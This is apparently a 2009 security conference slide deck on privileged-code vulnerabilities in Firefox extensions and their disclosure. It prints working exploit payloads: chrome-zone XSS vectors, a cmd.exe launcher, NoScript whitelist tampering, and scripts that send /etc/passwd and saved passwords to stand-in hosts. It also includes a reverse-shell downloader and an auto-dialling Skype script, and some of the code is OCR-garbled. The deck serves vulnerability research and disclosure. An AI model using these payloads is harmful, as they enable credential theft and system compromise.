

Abusing Firefox Extensions

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WTF Are We?



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Agenda



- Introduction
- Security threats and risks
- Disclosure summary
- Abusing Extensions a selection of exploits and demos

Introduction



What are Firefox extensions?

- It's just software
- Equivalent of ActiveX

What extensions do?


- Extend, modify and control browser behaviour
- Provides extended/rich functionality and added features

Different type of Firefox addons

- Extensions
- Plugins (Search Engine plugins) and Themes



The Mozilla Platfor



XUL:

- provides UI to extensions
- combined with JavaScript, CSS, HTML elements

-.xul file

XPConnect:

- middle layer allows JavaScript to interface with XPCOM

Chrome:

- privileged browser zone
- code fully trusted

XPCOM:

- reusable

components/interfaces

- interact with low layer libraries: network, I/O, file system, etc.

XBL:

allows creation of new widgets
combined with CSS, XML and XUL

Extension Security Model



Mozilla extension security model is nonexistent


- Extension code is fully trusted by Firefox
 - Vulnerability in extension code might result in full system compromise
- No security boundaries between extensions
 - An extension can silently modify/alter another extension
- XPCom C++ components subject to memory corruption
- Extensions vulnerabilities are platform independent
- Lack of security policies to allow/deny Firefox access to internal API, XPCom components, etc
- Any Mozilla application with the extension system is vulnerable to same class of issues (e.g. Thunderbird)

The potential



Statistics – Firefox Browser Market Share

Beyond 20% globally since November 2008, more than 50% in certain regions/countries




Source: Marketshare - marketshare.hitslink.com
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Extension downloads boom



Statistics – AMO (Addons.Mozilla.Org) Download Trend

I billion extension downloads from AMO – Nov 2008



Downloads from addons.mozilla.org only. Prior to July 2007, daily counts were not kept.

Extensions are everywhere



Search engines	Social Networks	Services	Software/OS/Web Application Package	Extensions Portals
Google Toolbar Google Browser Sync Yahoo Toolbar Ask.com Toolbar	Del.icio.us Extension Facebook Toolbar AOL Toolbar LinkedIn Browser Toolbar	Netcraft Anti- Phishing Toolbar PhishTank SiteChecker	Skype AVG Ubuntu LiveLink (OpenText)	AMO (addons mozilla org) Mozdev Xulplanet

The weakest part of the chain

Human Factors - users:

- Trust
 - AMO Recommended Extensions recommended
 - Open Source
- Misconception = users expect extensions to be safe
 - according to Softpedia, it's 100% safe
 - NoScript/AdBlockPlus provides false sense of security
 - chrome:// URI whitelisted on NoScript, any XSS injection there is not blocked





The weakest part of the chain ctd.security-assessment.com

Human Factors – developers:

- The Mozilla page for building extensions doesn't mention the word 'security' once
- Many addon developers do it for a hobby not necessarily aware of how dangerous a vulnerable extension can be


Human Factors – reviewers:

- Don't need to have great knowledge about app / webapp security
- Need to follow a few guidelines for what is and isn't acceptable
 - These guidelines focus on finding malicious extensions
 - Vulnerable extensions can quite easily slip through

Concerns on AMO



- Everyone can write an extension and submit it to AMO (even us :)
- AMO review process lacks complete security assessment



 Few extensions are signed in AMO. Extensions are generally not "signed". Users trust unsigned extensions.

Experimental extensions (not approved yet) are publicly available
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Extension And Malware



Some people have already exploited this concept:

- FormSpy 2006
 - Downloader-AXM Trojan, poses as the legitimate NumberedLinks 0.9 extension
 - Steal passwords, credit card numbers, and e-banking login details
- Firestarterfox 2008
 - Hijacks all search requests through multiple search engines and redirects them through Russian site thebestwebsearch.net
- Vietnamese Language Pack 2008
 - Shipped with adware because the developer was owned
- Might happen in the near future...
 - Malware authors bribe/hack famous/recommended extension developer/vendor

Initial benign extension, malware is introduced in an 3rd/4th update Member of Datacraft Asia

Abusing Firefox Extensions



Finding bugs in Firefox extensions is fun ;-)

- Multiple ways to find them it depends on:
 - Nature of the extension
 - Logic exposed
 - Input and output
 - XPCOM components
 - Third party API/components

Our research focus:


- Extension logic, security model and functions exposed
- Extension data flow and data injection points

XSS or Cross Browser Context



XSS on steroids

Any input rendered in the chrome is a potential XSS injection point



- XSS in chrome is privileged code!
 - It can interface with XPConnect and XPCOM = 0wn3d!
 - No SOP restrictions!
 - Cannot be blocked by NoScript!

NoScript's Whitelist



NoScript Options
General Whitelist Plugins Appearance Notifications Advanced
You can specify which web sites are allowed to execute scripts. Type the address or the domain (e.g. "http://www.site.com" or "site.com") of the site you want to allow and then click Allow.
Address of web site:
about:blank
about:certerror about:config
about:credits
about:neterror
about:plugins
about:privatebrowsing
about:sessionrestore
chrome:
file://
Remove Selected Sites <u>R</u> evoke Temporary Permissions Import Export
Import Export Reset OK Cancel

XSS disclosing /etc/passwd



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Testing for XSS



- Run Firefox with console active
 - firefox.exe -console
- To confirm execution of our XSS payload, generate an error into console – dump(error);
- Is our XSS in Chrome? Check all window properties not just window

🕘 Mozilla Firefox			
window=[object Window] xul?id=2779&title=http/ ch.net/lab/test/test.ht 7	but 3A// m1&o	window.location=chrome:// malerisch.net/lab/test/te ldDate=today%20at%200%3A0	st.html&url=http%3A//maleris 2&newDate=today%20at%200%3A3

Useful XSS payloads



Check if nslScriptableUnescapeHTML.parseFragment() is used

Lack of this might mean use of input black-list filters

Method Description	Payload	
iframe with data URI and base64 payload	<iframe src="<br">'data:text/html;base64,base64XSSpayloadhere'></iframe>	
Recursive iframes	<pre><iframe src="data:text/html,<iframe src = 'data:text/html;base64,base64iframe+data+XSSpa yload'> </iframe"></iframe><!--//--></pre>	
Embedded XSS	<pre><embed src="javascript:XSSpayload"/></pre>	
XSS on DOM events		
XUL injection	"<button id="1" label="a" oncommand='alert(window)' />"	
XBL injection	style="-moz-binding:url(data:text/xml;charset=utf- 8,XBL)"	





- Firebug provides console, monitor and debugging features
- Chromebug Firebug for chrome, XUL
- WebDeveloper allows more control on page elements, cookies
- XPComViewer shows registered XPCOM components/interfaces
- Venkman JavaScript Debugger
- Console2 advanced error console
- ChromeList File viewer for installed extensions
- Execute JS enhanced JavaScript-Console
- DOM Inspector allows inspecting the DOM
- Burp web proxy
- Mozrepl js shell via telnet service
- Sysinternals Tools regmon, filemon, tcpmon, etc.

Abusing extensions...



Extension Name	Date Disclosed	Vendor Response Date	Fix Date
WizzRSS	2009/02/18	2009/02/18	2009/03/20
CoolPreviews	2009/03/05	No response, silently fixed	2009/04/20
FireFTP	N/A	N/A	2009/02/19
Undisclosed	2009/02/16	2009/02/16	N/A
Feed Sidebar	2009/03/04	2009/03/05	2009/03/14
Undisclosed	2009/02/27	N/A	N/A
UpdateScanner	2009/06/08	2009/06/11	2009/06/15
Undisclosed	2009/06/22	N/A	N/A
Undisclosed	2009/06/30	2009/06/30	2009/07/06
ScribeFire	2009/07/10	2009/07/15	2009/07/20
Skype	N/A	N/A	2009/06/03

MemberTotal number of downloads from AMO: 30,000,000+

Skype



- Skype (<=3.8.0.188)</p>
- Issue:
 - Automatic arbitrary number of calls to arbitrary phone numbers and skypenames
 - Function skype_tool.call() is exposed to DOM and can be called directly
 - Skype username injection skypeusername%00+\"
- Filtering/Protection:
 - None.
- Exploit:
 - Automatic arbitrary phone call to multiple numbers



Demo



Demo.avi

Arbitrary phone calls

Telephone: +64 9 307 3388

<script>
<script>
setInterval('document.location=\'javascript:skype_tool.call(\"\
+6322131218;+6322131219;+6322131230;+6322131231;+6412321312;
+63213213123;+6421323235;\")\'",4000);
</script>

CoolPreviews

CoolPreviews – 2.7

Issue:

- URI is passed to the CoolPreviews Stack without any filtering.
- A data: URI is accepted and its content is rendered in the chrome privileged zone.
- User triggers exploit by adding the malicious link to the CoolPreviews stack (right-click by default)

Filtering/Protection:

- No use of URI whitelist
- Exploit:
 - data:text/html,base64;payloadbase64encoded





recommended







Remote Code Execution Payload – invoking cmd.exe

<script>

var getWorkingDir= Components.classes["@mozilla.org/file/directory_service;1"].
getService(Components.interfaces.nsIProperties).get("Home", Components.interfaces.nsIFile);

var lFile = Components.classes["@mozilla.org/file/local;1"]. createInstance(Components.interfaces.nsILocalFile);

var lPath = "C:\\WINDOWS\\system32\\win.com";alert(lPath);lFile.initWithPath(lPath);

var process = Components.classes["@mozi]]a.org/process/util;1"]. createInstance(Components.interfaces.nsIProcess);

process.init(lFile);process.run(false,[C:\\WINDOWS\\system32\\cmd.exe'],1);

</script>

Update Scanner

Update Scanner (<3.0.3)</p>

Issue:

- Updated content is rendered within a chrome privileged window.
- Malicious site inserts new payload and that is rendered when the user looks at the site changes from the Update Scanner window

Filtering/Protection:

<script> is ignored

Exploit:

XSS via event handler :







recommended







Compromising NoScript – whitelisting malicious site

var prefs = Components.classes["@mozilla.org/preferences-service;1"]
 .getService(Components.interfaces.nsIPrefService);

prefs = prefs.getBranch("capability.policy.maonoscript.");

prefs.setCharPref("sites", "malicioussitehere.com");





• FireFTP (<1.1.4)



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Issue:

- HTML and JavaScript in a server's welcome message is evaluated when connecting to an FTP server.
- The code is executed in the chrome privilege zone

Filtering/Protection:

- None.
- Exploit:
 - Local File Disclosure



Demo



Local File Disclosure

<html> <head>

<script> function s() {

x = document.getElementById("test").contentWindow;

alert(x.document.getElementsByTagName("body")["0"].innerHTML);

document.location="http://maliciousite/" +unescape(x.document.getElementsByTagName("body")["0"].innerHTML);

}

</script> </head> <body>

<iframe src="view-source:file:///etc/passwd" id="test"></iframe></iframe></iframe></iframe></iframe></iframe></iframe></iframe></iframe></iframe></iframe></iframe></iframe></iframe></iframe></iframe></iframe></iframe></iframe></iframe></iframe></iframe></iframe></iframe></iframe></iframe></iframe></iframe></iframe></iframe></iframe></iframe></iframe></iframe></iframe></iframe></iframe></iframe>

<script>setTimeout('s()',3000);</script>

</body> **M**e </html>

Feed Sidebar





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Issue:

- HTML and JavaScript in the <description> tags of RSS feeds is executed in the chrome security zone.
- JavaScript is encoded in base64 or used as the source of an iframe and executed when the user clicks on the malicious feed item.

Filtering/Protection:

- <script> tags are stripped
- Exploit:
 - <iframe

src="data:text/html;base64,base64encodedjavascript">& lt;/iframe>



Demo



Password stealing

<script>

var l2m=Components.classes["@mozilla.org/login-manager;1"].getService(Components.interfaces.nsILoginManager);

alltheinfo = 12m.getAllLogins({});

for (i=0;i<=alltheinfo.length;i=i+1){
 document write("<iframe src='http://malicioussite/?" +
 unescape(alltheinfo[i].hostname) + ":" + unescape(alltheinfo[i].username) +
 ":" + unescape(alltheinfo[i].password) + "' width=0 height=0></iframe>");
 }
</script>

ScribeFire



ScribeFire (<3.4.3)</p>



recommended

Issue:

- JavaScript in DOM event handlers such as onLoad is evaluated in the chrome privileged browser zone.
- Drag & dropping a malicious image into the blog editor executes the JavaScript.
- Filtering/Protection:
 - No protection for DOM event handlers.
- Exploit:
 -







Reverse VNC Using XHR – contents of payload

var xmlhttp;
function loadXMLDoc(url){
<pre>xmlhttp=new XMLHttpRequest(); xmlhttp.open("GET"_url.false);</pre>
<pre>xmlhttp.overrideMimeType('text/plain;charset=x-user-defined');xmlhttp.send(null);</pre>
<pre>if (xmlhttp.status==200){setTimeout("",300);makefile(xmlhttp.responseText);}</pre>
function_makefile(bdata){
var getWorkingDir=
Compoñents.classes["@mozilla.org/file/directory_service;1"].getService(Components.in terfaces.nsIProperties).get("Home", Components.interfaces.nsIFile);
terfaces.nsIProperties).get("Home", Components.interfaces.nsIFile);
var aFile =
Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces
.nsiLocalFile);
aFile.initwithPath(getWorkingDir.path + "\\revshell.exe"); aFile.createUnique(Components.interfaces.nsiFile.NORMAL_FILE_TYPE, 777);
var stream =
Components.classes["@mozilla.org/network/safe-file-output-stream;1"].createInstance(
Components.interfaces.nsIFileOutputStream):
stream.init(aFile, 0x04 0x08 0x20, 0777, 0);
<pre>stream.write(bdata, bdata.length);</pre>
if (stream instanceof Components.interfaces.nsISafeOutputStream){
<pre>stream.finish(); } else{stream.close();</pre>
}
~

Security Disclosure



 Security disclosure is a new process to extension developers/vendors

- Security is underestimated/not understood.
- Few posts regarding security vulnerabilities in Firefox extensions in sec mailing-lists as Full Disclosure.
- Mozilla security team can now be queried for bugs found in extensions

Recommendations



- Developers:
 - Follow OWASP developer's guide
 - Read code of similar extensions for ideas on avoiding common bugs
- Security professionals:
 - Adhere to the OWASP testing guide and our presentation
 - Watch for publications for new ideas on breaking extensions
- End-users:
 - Don't trust extensions!
 - Changelogs of security issues / Bugzilla
 - Updating addons (after checking the above)
 - Consider Safe Mode (disable all extensions)



Thanks! (buy us a beer!) Roberto.suggi@security-assessment.com Nick.freeman@security-assessment.com

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References



- Research and publications on the topic
 - Extensible Web Browser Security Mike Ter Louw, Jin Soon Lim, and V.N. Venkatakrishnan
 - <u>http://www.mike.tl/view/Research/ExtensibleWebBrowserSecurity</u>
 - Bachelor thesis on Firefox extension security Julian Verdurmen
 - http://jverdurmen.ruhosting.nl/BachelorThesis-Firefoxextension-security.html
 - Attacking Rich Internet Applications (kuza55, Stefano Di Paola)
 - <u>http://www.ruxcon.org.au/files/2008/Attacking_Rich_Internet_A</u> <u>pplications.pdf</u>





- Firebug Petko. D. Petkov, Thor Larholm, 06 april 2007
 - http://larholm.com/2007/04/06/0day-vulnerability-in-firebug/
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 - http://xforce.iss.net/xforce/xfdb/21453
- Sage RSS Reader (pdp & David Kierznowski)
 - <u>http://www.gnucitizen.org/blog/cross-context-scripting-with-sage/</u>